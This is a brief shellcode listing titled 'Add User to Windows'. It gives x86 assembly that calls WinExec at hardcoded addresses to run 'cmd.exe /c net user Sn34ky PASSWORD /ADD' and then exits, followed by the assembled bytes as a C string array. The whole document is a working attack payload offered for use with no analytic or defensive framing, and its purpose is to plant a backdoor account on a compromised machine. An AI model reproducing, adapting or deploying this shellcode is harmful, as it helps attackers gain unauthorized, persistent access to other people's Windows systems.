Add User to Windows - Shellcode ASM

global _start
_start:
	jmp short getWinExec
callProc:
	pop ebx
	xor eax,eax
	push eax
	mov [ebx+40],al
	push ebx
	mov eax,0x7c8623ad ;WinExec
	call eax
	
	xor eax,eax
	push eax
	mov eax,0x7c81cafa ;ExitProcess
	call eax
getWinExec:
	call callProc
	db 'cmd.exe /c net user Sn34ky PASSWORD /ADD0'

The resulting shellcode

char code[] = "\xeb\x19\x5b\x31\xc0\x50\x88\x43\x28\x53\xb8\xad\x23\x86\x7c\xff\xd0\x31\xc0\x50\xb8\xfa\xca\x81\x7c\xff\xd0\xe8\xe2\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x53\x6e\x33\x34\x6b\x79\x20\x50\x41\x53\x53\x57\x4f\x52\x44\x20\x2f\x41\x44\x44\x30";